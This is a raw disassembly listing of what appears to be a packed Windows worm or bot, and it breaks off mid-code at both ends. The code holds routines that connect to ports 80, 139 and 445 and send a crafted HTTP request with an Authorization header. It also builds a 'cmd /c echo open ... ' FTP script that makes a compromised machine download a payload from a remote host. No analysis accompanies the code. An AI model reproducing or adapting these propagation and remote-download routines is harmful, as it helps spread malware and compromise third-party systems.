[ebp+var_10] call sub_403A25 lea ecx, [ebp+var_8] call sub_4038CE lea ecx, [ebp+var_10] call sub_4038B5 push offset dword_4289AC lea ecx, [ebp+var_48] call sub_403A08 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_403A25 lea ecx, [ebp+var_8] call sub_4038B5 mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_403DF2 ; --------------------------------------------------------------------------- loc_403DE4: ; CODE XREF: sub_403A90+1Bj ; sub_403A90+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_403DF2: ; CODE XREF: sub_403A90+352j pop edi pop ebx leave retn sub_403A90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403DF6 proc near ; CODE XREF: sub_403EBA+A1p ; sub_403EBA+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah nop call near ptr 71AB1890h cmp eax, edi jnz short loc_403E5D lea eax, [ebp+var_10C] push eax push esi call sub_422A46 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_403E61 loc_403E5D: ; CODE XREF: sub_403DF6+54j xor eax, eax jmp short loc_403E71 ; --------------------------------------------------------------------------- loc_403E61: ; CODE XREF: sub_403DF6+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_43F680 loc_403E71: ; CODE XREF: sub_403DF6+69j pop edi pop esi leave retn sub_403DF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403E75 proc near ; CODE XREF: sub_403EBA+81p ; sub_403EBA+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_43F664 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_43F6B8 cmp eax, 4 jz short loc_403E9F xor al, al leave retn ; --------------------------------------------------------------------------- loc_403E9F: ; CODE XREF: sub_403E75+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_43F6B8 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_403E75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403EBA proc near ; CODE XREF: sub_403F94+48p ; ___:00404406p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_417B89 mov esi, eax pop ecx test esi, esi jnz short loc_403EE3 xor al, al jmp loc_403F8F ; --------------------------------------------------------------------------- loc_403EE3: ; CODE XREF: sub_403EBA+20j push ebx push 0 push esi call sub_417330 push 2Fh push offset dword_4286E4 push esi call sub_417390 push 8 lea eax, [esi+31h] push offset dword_428714 push eax mov [esi+2Fh], di call sub_417390 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_417390 push 6 add ebx, edi push offset dword_43C81C push ebx call sub_417390 mov ebx, [ebp+arg_0] push 85h push offset dword_42865C push ebx call sub_403E75 add esp, 48h test al, al jnz short loc_403F4B loc_403F47: ; CODE XREF: sub_403EBA+B5j xor bl, bl jmp short loc_403F86 ; --------------------------------------------------------------------------- loc_403F4B: ; CODE XREF: sub_403EBA+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_403DF6 push [ebp+var_4] push esi push ebx call sub_403E75 add esp, 1Ch test al, al jz short loc_403F47 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_403DF6 add esp, 10h mov bl, 1 loc_403F86: ; CODE XREF: sub_403EBA+8Fj push esi call sub_417C3B pop ecx mov al, bl loc_403F8F: ; CODE XREF: sub_403EBA+24j pop edi pop esi pop ebx leave retn sub_403EBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403F94 proc near ; CODE XREF: ___:004043ECp var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_428720 push [ebp+arg_0] call near ptr 71AB1AF4h nop cmp eax, 48h jnz short loc_403FCF push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_403DF6 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_403FCF cmp [ebp+var_20], 82h jz short loc_403FD3 loc_403FCF: ; CODE XREF: sub_403F94+1Bj ; sub_403F94+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_403FD3: ; CODE XREF: sub_403F94+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_403EBA add esp, 0Ch leave retn sub_403F94 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403FE6 proc near ; CODE XREF: sub_404032+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_424278 call sub_417DC4 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_424270 fstp [esp+10h+var_10] call sub_417CA4 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_417DC4 inc eax leave retn sub_403FE6 endp ; =============== S U B R O U T I N E ======================================= sub_404032 proc near ; CODE XREF: sub_4041D4+24p var_40 = qword ptr -40h mov eax, offset loc_4230E7 call sub_418290 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_404667 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_403FE6 cmp [ebp-2Ch], eax pop ecx jnb short loc_404074 push edi push eax lea ecx, [ebp-38h] call sub_4045E2 loc_404074: ; CODE XREF: sub_404032+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_404191 mov ebx, [ebp+10h] loc_404083: ; CODE XREF: sub_404032+156j cmp dword ptr [ebp+10h], 3 jb short loc_40408D push 3 jmp short loc_40409F ; --------------------------------------------------------------------------- loc_40408D: ; CODE XREF: sub_404032+55j cmp dword ptr [ebp+10h], 2 jnz short loc_404097 push 2 jmp short loc_40409F ; --------------------------------------------------------------------------- loc_404097: ; CODE XREF: sub_404032+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_4040A0 push 1 loc_40409F: ; CODE XREF: sub_404032+59j ; sub_404032+63j pop ebx loc_4040A0: ; CODE XREF: sub_404032+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_424288 fstp [esp+40h+var_40] call sub_417DEB pop ecx pop ecx call sub_417DC4 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_4040DF mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_4040DF: ; CODE XREF: sub_404032+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40414D add [ebp-18h], eax loc_404131: ; CODE XREF: sub_404032+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_42876C[eax] push eax push 1 call sub_404464 inc esi cmp esi, [ebp-1Ch] jb short loc_404131 loc_40414D: ; CODE XREF: sub_404032+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40416B push dword ptr [ebp+14h] call sub_417AB0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_4044BD loc_404168: ; DATA XREF: Themida_:005133E1o mov [ebp-18h], edi loc_40416B: ; CODE XREF: sub_404032+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_404185 sub esi, [ebp-1Ch] loc_404176: ; CODE XREF: sub_404032+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_404464 dec esi jnz short loc_404176 loc_404185: ; CODE XREF: sub_404032+13Fj cmp [ebp+10h], edi ja loc_404083 push 1 pop ebx loc_404191: ; CODE XREF: sub_404032+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_404667 push dword_424280 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_404514 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_404667 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_404032 endp ; =============== S U B R O U T I N E ======================================= sub_4041D4 proc near ; CODE XREF: ___:004043CFp mov eax, offset loc_423104 call sub_418290 sub esp, 10h push ebx push esi push edi push offset byte_43C80C lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_404032 mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_417B89 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40421E xor bl, bl jmp short loc_404262 ; --------------------------------------------------------------------------- loc_40421E: ; CODE XREF: sub_4041D4+44j mov ecx, [ebp-18h] mov eax, offset dword_424290 cmp ecx, ebx jnz short loc_40422C mov ecx, eax loc_40422C: ; CODE XREF: sub_4041D4+54j cmp [ebp+18h], ebx jz short loc_404234 mov eax, [ebp+18h] loc_404234: ; CODE XREF: sub_4041D4+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41782A add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_43F6B8 cmp eax, esi jz short loc_404259 xor bl, bl jmp short loc_40425B ; --------------------------------------------------------------------------- loc_404259: ; CODE XREF: sub_4041D4+7Fj mov bl, 1 loc_40425B: ; CODE XREF: sub_4041D4+83j push edi call sub_417C3B pop ecx loc_404262: ; CODE XREF: sub_4041D4+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_404667 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_404667 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_4041D4 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_428918 push eax call sub_417390 add esp, 0Ch mov eax, offset byte_42F674 push eax push eax push dword_43C83C push dword ptr [ebp+8] call sub_40AEE0 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp-391h] push 400h push eax call sub_41782A add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_4287B0 push eax call sub_403A90 xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40432B xor eax, eax jmp loc_404457 ; --------------------------------------------------------------------------- loc_40432B: ; CODE XREF: ___:00404322j mov [ebp-0Ch], esi loc_40432E: ; CODE XREF: ___:0040442Ej test esi, esi jnz loc_404434 push 6 push 1 push 2 nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40441C xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_43F668 mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_43F6A8 mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_43F610 cmp eax, 0FFFFFFFFh jz loc_404411 cmp dword ptr [ebp+0A8h], 50h jnz short loc_4043D9 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_404667 lea eax, [ebp+0Ch] push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_4046A3 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_4041D4 add esp, 1Ch jmp short loc_40440E ; --------------------------------------------------------------------------- loc_4043D9: ; CODE XREF: ___:00404397j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_4043F3 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_403F94 jmp short loc_40440B ; --------------------------------------------------------------------------- loc_4043F3: ; CODE XREF: ___:004043E3j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_404411 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_403EBA loc_40440B: ; CODE XREF: ___:004043F1j add esp, 0Ch loc_40440E: ; CODE XREF: ___:004043D7j movzx esi, al loc_404411: ; CODE XREF: ___:0040438Aj ; ___:004043FDj push ebx call dword_43F700 test esi, esi jnz short loc_404427 loc_40441C: ; CODE XREF: ___:00404347j push 3E8h nop call near ptr 25F0439h loc_404427: ; CODE XREF: ___:0040441Aj inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40432E loc_404434: ; CODE XREF: ___:00404330j lea ecx, [ebp-8] call sub_4038B5 test esi, esi jz short loc_404455 mov eax, [ebp+0B0h] imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] loc_404455: ; CODE XREF: ___:0040443Ej mov eax, esi loc_404457: ; CODE XREF: ___:00404326j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4230C8 loc_40445C: ; CODE XREF: sub_4230C8+3j ; ___:004230E1j ... push 1 call sub_404667 retn ; END OF FUNCTION CHUNK FOR sub_4230C8 ; =============== S U B R O U T I N E ======================================= sub_404464 proc near ; CODE XREF: sub_404032+110p ; sub_404032+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_424280 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40447E call sub_42298A loc_40447E: ; CODE XREF: sub_404464+13j test ebx, ebx jbe short loc_4044B5 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_4045E2 test al, al jz short loc_4044B5 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_417330 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_4044B5: ; CODE XREF: sub_404464+1Cj ; sub_404464+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_404464 endp ; =============== S U B R O U T I N E ======================================= sub_4044BD proc near ; CODE XREF: sub_404032+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_424280 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_4044D7 call sub_42298A loc_4044D7: ; CODE XREF: sub_4044BD+13j test ebx, ebx jbe short loc_40450C mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_4045E2 test al, al jz short loc_40450C mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_417390 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40450C: ; CODE XREF: sub_4044BD+1Cj ; sub_4044BD+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_4044BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404514 proc near ; CODE XREF: sub_404032+17Cp ; sub_4228A0+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40452C call sub_422863 loc_40452C: ; CODE XREF: sub_404514+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40453E mov esi, [ebp+arg_8] loc_40453E: ; CODE XREF: sub_404514+25j cmp edi, ebx jnz short loc_404560 push dword_424280 add esi, ecx mov ecx, edi push esi call sub_4046D8 push [ebp+arg_4] mov ecx, edi push 0 call sub_4046D8 jmp short loc_4045D9 ; --------------------------------------------------------------------------- loc_404560: ; CODE XREF: sub_404514+2Cj test esi, esi jbe short loc_4045A3 cmp esi, eax jnz short loc_4045A3 mov eax, [ebx+4] test eax, eax jnz short loc_404574 mov eax, offset dword_424290 loc_404574: ; CODE XREF: sub_404514+59j cmp byte ptr [eax-1], 0FEh jnb short loc_4045A3 push 1 mov ecx, edi call sub_404667 mov eax, [ebx+4] test eax, eax jnz short loc_40458F mov eax, offset dword_424290 loc_40458F: ; CODE XREF: sub_404514+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_4045D9 ; --------------------------------------------------------------------------- loc_4045A3: ; CODE XREF: sub_404514+4Ej ; sub_404514+52j ... push 1 push esi mov ecx, edi call sub_4045E2 test al, al jz short loc_4045D9 mov eax, [ebx+4] test eax, eax jnz short loc_4045BD mov eax, offset dword_424290 loc_4045BD: ; CODE XREF: sub_404514+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_417390 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_4045D9: ; CODE XREF: sub_404514+4Aj ; sub_404514+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_404514 endp ; =============== S U B R O U T I N E ======================================= sub_4045E2 proc near ; CODE XREF: sub_404032+3Dp ; sub_404464+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_4045F4 call sub_42298A loc_4045F4: ; CODE XREF: sub_4045E2+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40461D mov al, [ecx-1] cmp al, dl jz short loc_40461D cmp al, 0FFh jz short loc_40461D cmp edi, edx jnz short loc_404658 dec al push edx mov [ecx-1], al loc_404612: ; CODE XREF: sub_4045E2+47j mov ecx, esi call sub_404667 loc_404619: ; CODE XREF: sub_4045E2+4Bj ; sub_4045E2+52j xor al, al jmp short loc_404662 ; --------------------------------------------------------------------------- loc_40461D: ; CODE XREF: sub_4045E2+19j ; sub_4045E2+20j ... cmp edi, edx jnz short loc_404636 cmp [esp+8+arg_4], dl jz short loc_40462B push 1 jmp short loc_404612 ; --------------------------------------------------------------------------- loc_40462B: ; CODE XREF: sub_4045E2+43j cmp ecx, edx jz short loc_404619 mov [esi+8], edx mov [ecx], dl jmp short loc_404619 ; --------------------------------------------------------------------------- loc_404636: ; CODE XREF: sub_4045E2+3Dj cmp [esp+8+arg_4], dl jz short loc_404653 mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_404648 cmp eax, edi jnb short loc_404660 loc_404648: ; CODE XREF: sub_4045E2+60j push 1 mov ecx, esi call sub_404667 jmp short loc_404658 ; --------------------------------------------------------------------------- loc_404653: ; CODE XREF: sub_4045E2+58j cmp [esi+0Ch], edi jnb short loc_404660 loc_404658: ; CODE XREF: sub_4045E2+28j ; sub_4045E2+6Fj push edi mov ecx, esi call sub_40473F loc_404660: ; CODE XREF: sub_4045E2+64j ; sub_4045E2+74j mov al, 1 loc_404662: ; CODE XREF: sub_4045E2+39j pop edi pop esi retn 8 sub_4045E2 endp ; =============== S U B R O U T I N E ======================================= sub_404667 proc near ; CODE XREF: sub_404032+1Fp ; sub_404032+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_404693 mov eax, [esi+4] test eax, eax jz short loc_404693 lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40468C cmp al, 0FFh jz short loc_40468C dec al mov [ecx], al jmp short loc_404693 ; --------------------------------------------------------------------------- loc_40468C: ; CODE XREF: sub_404667+19j ; sub_404667+1Dj push ecx call sub_4182AF pop ecx loc_404693: ; CODE XREF: sub_404667+8j ; sub_404667+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_404667 endp ; =============== S U B R O U T I N E ======================================= sub_4046A3 proc near ; CODE XREF: ___:004043C3p ; sub_4047FC+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_4045E2 test al, al jz short loc_4046D1 push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_417390 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_4046D1: ; CODE XREF: sub_4046A3+12j mov eax, esi pop edi pop esi retn 8 sub_4046A3 endp ; =============== S U B R O U T I N E ======================================= sub_4046D8 proc near ; CODE XREF: sub_404514+39p ; sub_404514+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_4046EB call sub_422863 loc_4046EB: ; CODE XREF: sub_4046D8+Cj mov ecx, edi call sub_4047FC mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_404701 mov ebx, eax loc_404701: ; CODE XREF: sub_4046D8+25j test ebx, ebx jbe short loc_404737 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_4182C0 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_4045E2 test al, al jz short loc_404737 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_404737: ; CODE XREF: sub_4046D8+2Bj ; sub_4046D8+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_4046D8 endp ; =============== S U B R O U T I N E ======================================= sub_40473F proc near ; CODE XREF: sub_4045E2+79p mov eax, offset loc_423110 call sub_418290 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_404765 mov edi, [ebp+8] loc_404765: ; CODE XREF: sub_40473F+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_404772 xor eax, eax loc_404772: ; CODE XREF: sub_40473F+2Fj push eax call sub_4185F5 pop ecx mov [ebp+8], eax jmp short loc_4047A3 ; --------------------------------------------------------------------------- loc_40477E: ; DATA XREF: ___:00424F9Co mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40478D xor eax, eax loc_40478D: ; CODE XREF: sub_40473F+4Aj push eax call sub_4185F5 mov [ebp+8], eax pop ecx mov eax, offset loc_40479D retn ; --------------------------------------------------------------------------- loc_40479D: ; DATA XREF: sub_40473F+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_4047A3: ; CODE XREF: sub_40473F+3Dj mov eax, [esi+8] test eax, eax jbe short loc_4047C1 cmp eax, edi jbe short loc_4047B0 mov eax, edi loc_4047B0: ; CODE XREF: sub_40473F+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_417390 add esp, 0Ch loc_4047C1: ; CODE XREF: sub_40473F+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_404667 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_4047E1 mov edi, ebx loc_4047E1: ; CODE XREF: sub_40473F+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40473F endp ; =============== S U B R O U T I N E ======================================= sub_4047FC proc near ; CODE XREF: sub_4046D8+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_404829 mov al, [esi-1] test al, al jz short loc_404829 cmp al, 0FFh jz short loc_404829 push 1 call sub_404667 push esi call sub_417AB0 pop ecx push eax push esi mov ecx, edi call sub_4046A3 loc_404829: ; CODE XREF: sub_4047FC+9j ; sub_4047FC+10j ... pop edi pop esi retn sub_4047FC endp ; =============== S U B R O U T I N E ======================================= sub_40482C proc near ; DATA XREF: ___:00426008o test byte_48A30C, 1 jnz short loc_40483C or byte_48A30C, 1 loc_40483C: ; CODE XREF: sub_40482C+7j jmp $+5 push offset nullsub_1 call sub_418670 pop ecx retn sub_40482C endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40484E proc near ; DATA XREF: ___:0042600Co jmp $+5 sub_40484E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404853 proc near mov eax, dword_428BE0 add eax, 6 mov dword_43C828, eax retn sub_404853 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404861 proc near ; CODE XREF: sub_404861+D0p ; ___:00404DC0p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_404875 or [ebp+arg_7], 1 jmp short loc_404879 ; --------------------------------------------------------------------------- loc_404875: ; CODE XREF: sub_404861+Cj and [ebp+arg_7], 0FEh loc_404879: ; CODE XREF: sub_404861+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40489D or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_4048AF ; --------------------------------------------------------------------------- loc_40489D: ; CODE XREF: sub_404861+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_4048AF: ; CODE XREF: sub_404861+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_417B89 test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_404948 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_417390 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] nop call near ptr 2620000h test eax, eax jz short loc_40493F mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40493F push [ebp+arg_20] call sub_417C3B cmp [ebp+arg_2B], 0 pop ecx jz short loc_40493B push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_404861 add esp, 2Ch jmp short loc_40494A ; --------------------------------------------------------------------------- loc_40493B: ; CODE XREF: sub_404861+B3j mov al, 1 jmp short loc_40494A ; --------------------------------------------------------------------------- loc_40493F: ; CODE XREF: sub_404861+9Cj ; sub_404861+A4j push [ebp+arg_20] call sub_417C3B pop ecx loc_404948: ; CODE XREF: sub_404861+61j xor al, al loc_40494A: ; CODE XREF: sub_404861+D8j ; sub_404861+DCj pop edi pop esi pop ebx leave retn sub_404861 endp ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ‹ db 0ECh ; ì db 0B8h ; ¸ db 0DCh ; Ü db 60h ; ` db 0 db 0 db 0E8h ; è db 0D4h ; Ô db 31h ; 1 db 1 db 0 db 53h ; S db 56h ; V db 57h ; W db 68h ; h 